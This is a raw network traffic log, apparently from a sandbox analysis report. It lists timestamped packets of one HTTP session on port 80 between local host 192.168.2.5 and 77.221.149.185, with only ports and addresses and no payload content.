Jul 2, 2024 22:52:33.948899984 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.948909044 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.948920012 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.948921919 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.948929071 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.948929071 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.948929071 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.948937893 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.948946953 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.948956966 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.948967934 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.948973894 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.948977947 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.948988914 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.948992014 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.948998928 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.949008942 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.949018955 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.949026108 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.949028969 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.949038029 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.949047089 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.949080944 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.949781895 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.949793100 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.949801922 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.949812889 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.949821949 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.949826956 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.949832916 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.949836969 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.949846029 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.949853897 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.949861050 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.949862957 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.949892044 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.949896097 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.949902058 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.949911118 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.949913979 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.949923038 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.949932098 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.949939966 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.949942112 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.949950933 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.949959993 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.949961901 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.949968100 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.949970007 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.949980974 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.949989080 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.949996948 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.949997902 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.950007915 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.950017929 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.950025082 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.950026989 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.950037003 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.950045109 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.950046062 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.950054884 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.950057030 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.950063944 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.950073004 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.950074911 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.950097084 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.950117111 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.950995922 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.951005936 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.951014996 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.951025009 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.951034069 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.951044083 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.951054096 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.951064110 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.951066017 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.951076031 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.951092958 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.951103926 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.951111078 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.951118946 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.951129913 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.951138973 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.951138973 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.951148033 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.951158047 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.951167107 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.951167107 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.951176882 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.951188087 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.951188087 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.951196909 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.951200008 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.951206923 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.951216936 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.951225042 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.951235056 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.951244116 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.951246977 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.951252937 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.951257944 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.951270103 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.951280117 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.951288939 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.951294899 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.951297045 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.951322079 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.951322079 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.952124119 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.952135086 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.952143908 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.952162027 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.952168941 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.952177048 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.952187061 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.952198029 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.952207088 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.952209949 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.952218056 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.952227116 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.952229977 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.952236891 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.952240944 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.952246904 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.952255964 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.952264071 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.952265978 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.952275038 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.952285051 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.952287912 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.952295065 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.952299118 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.952300072 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.952311993 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.952318907 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.952327967 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.952332973 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.952336073 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.952337980 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.952347994 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.952357054 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.952366114 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.952370882 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.952394962 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.952419996 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.953103065 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.953118086 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.953120947 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.953125954 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.953130960 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.953135014 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.953140974 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.953145027 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.953150034 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.953154087 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.953160048 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.953169107 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.953174114 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.953178883 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.953183889 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.953210115 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.953212023 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.953219891 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.953232050 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.953233004 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.953242064 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.953246117 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.953255892 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.953260899 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.953269958 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.953279018 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.953289032 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.953294992 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.953296900 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.953305960 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.953315020 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.953320026 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.953325033 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.953336954 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.953358889 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.953841925 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.953851938 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.953860998 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.953871012 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.953881025 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.953891993 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.953898907 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.953918934 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.953922033 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.953932047 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.953941107 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.953950882 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.953954935 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.953959942 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.953969955 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.953977108 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.953978062 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.953989029 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.953995943 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.953998089 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.954008102 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.954019070 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.954020977 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.954030037 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.954034090 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.954055071 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.954072952 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.954082012 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.954087019 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.954096079 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.954104900 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.954113007 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.954117060 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.954119921 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.954125881 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.954173088 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.954343081 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.954353094 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.954361916 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.954371929 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.954382896 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.954392910 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.954529047 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.954540014 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.954549074 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.954564095 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.954566956 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.954574108 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.954581022 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.954582930 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.954591990 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.954602957 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.954602957 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.954612017 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.954626083 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.954634905 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.954643011 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.954644918 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.954668999 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.954672098 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.954682112 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.954691887 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.954700947 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.954704046 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.954713106 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.954722881 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.954729080 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.954731941 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.954742908 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.954751015 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.954751015 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.954761982 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.954770088 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.954771042 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.954782009 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.954782963 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.954791069 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.954802036 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.954809904 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.954812050 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.954832077 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.954845905 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.955852985 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.955893040 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.978005886 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.978018999 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.978029013 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.978066921 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.978080988 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.978090048 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.978099108 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.978116035 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.978125095 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.978126049 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.978148937 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.978166103 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.978892088 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.978902102 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.978910923 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.978949070 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.979007006 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.979049921 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.979058981 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.979088068 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.979090929 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.979099989 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.979100943 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.979110003 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.979135990 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.979178905 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.979188919 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.979197979 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.979218006 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.979239941 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.979249954 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.979259014 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.979269028 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.979278088 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.979286909 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.979295969 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.979305983 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.979363918 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.979377985 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.979387045 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.979397058 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.979408026 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.979414940 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.979419947 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.979441881 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.979562998 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.979655027 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.979687929 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.979695082 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.979799032 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.979815006 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.979825974 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.979836941 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.979839087 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.979849100 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.979856968 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.979860067 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.979881048 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.979903936 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.980017900 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.980063915 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.980072975 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.980113983 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.980290890 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.980307102 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.980317116 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.980326891 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.980335951 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.980344057 CEST	49712	80	192.168.2.5	77.221.149.185
